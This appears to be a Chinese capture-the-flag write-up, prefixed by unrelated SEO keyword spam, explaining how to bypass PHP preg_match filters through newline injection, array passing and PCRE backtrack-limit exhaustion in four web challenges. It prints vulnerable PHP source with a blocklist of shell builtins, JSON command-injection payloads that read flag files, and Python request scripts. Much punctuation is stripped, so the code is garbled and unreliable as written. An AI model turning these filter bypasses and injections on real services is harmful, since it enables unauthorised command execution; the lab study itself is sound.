网页托管服务是什么,肇庆seo外包服务,2024近期时事热点素材,广州网站优化排名哪家好目录
①[FBCTF 2019]rceservice
②[ctfshow]web130
③[ctfshow]web131
④[NISACTF 2022]middlerce 简单回顾一下基础
参考文章
p牛神文
preg_match绕过总的来讲就三块可利用
数组绕过、PCRE回溯次数限制、换行符
①[FBCTF 2019]rceservice
先贴出附件给的源码
htmlbodyh1Web Adminstration Interface/h1?phpputenv(PATH/home/rceservice/jail);if (isset($_REQUEST[cmd])) {$json $_REQUEST[cmd];if (!is_string($json)) {echo Hacking attempt detectedbr/br/;} elseif (preg_match(/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-\[-|~\x7F]).*$/, $json)) {echo Hacking attempt detectedbr/br/;} else {echo Attempting to run command:br/;$cmd json_decode($json, true)[cmd];if ($cmd ! NULL) {system($cmd);} else {echo Invalid input;}echo br/br/;}
}?formEnter command as JSON:input namecmd //form/body
/html先进行一个命令的输
{cmd:ls} 这里用%0a绕过preg_match {%0acmd:ls /home/rceservice%0a} 因为putenv(PATH/home/rceservice/jail);修改了环境变量所以只能使用绝对路径使用cat命令cat命令在/bin文件夹下
系统命令需要有特定的环境变量的也就是路径系统找不到该路径下的exe文件无法执行系统命令因此这个地方查阅资料后发现只能调用绝对路径下的命令cat命令就在/bin/目录下面
{%0acmd:/bin/cat /home/rceservice/flag%0a} 或者用PCRE回溯次数限制
import requestsurl http://node4.anna.nssctf.cn:28428/
data {cmd:{cmd:/bin/cat /home/rceservice/flag,r1:a*1000000}
}
rrequests.post(urlurl,datadata).text #使用post方法请求get方法会因为请求头过大而报错
print(r)②[ctfshow]web130 preg_match()其中的‘.’代表着匹配前面的单个字符‘’代表匹配一次或者是多次‘’代表重复一次或者多次尽可能的少重复大概就是匹配到*ctfshow*代表任意字符就会返回true
stripos()函数不区分大小写返回子串在字符串中第一次出现的位置位置是从0开始的没有查找到返回FALSEstripos函数对于传递数组情况下返回值为NULLNULL!FALSE payload1:
f[]1 payload2:
import requestsurl http://aec6932e-6362-4305-a31f-d8e5bcf75925.challenge.ctf.show/
data {f: very * 250000 ctfshow
}
r requests.post(urlurl, datadata).text
print(r)③[ctfshow]web131 这里和上题不同的是对$f先进行了一个String强制类型转换
具体见此文
意思就是不能用数组绕过了
所以用用PCRE回溯次数限制
payload:
import requestsurl http://c061faf3-dfef-42c6-8dd4-f223a635b59c.challenge.ctf.show/
data {f: very * 250000 36Dctfshow
}r requests.post(urlurl, datadata).text
print(r)④[NISACTF 2022]middlerce 和题①不能说一模一样只能说是如出一辙
payload:
import requests
url http://node4.anna.nssctf.cn:28848/
# 直接构造json串
data{cmd:?? nl /f*?;,overflow:-*1000000}
res requests.post(urlurl,data{letter:data})
print(res.text) (因为有一些waf所以这样构造这里不深入讨论)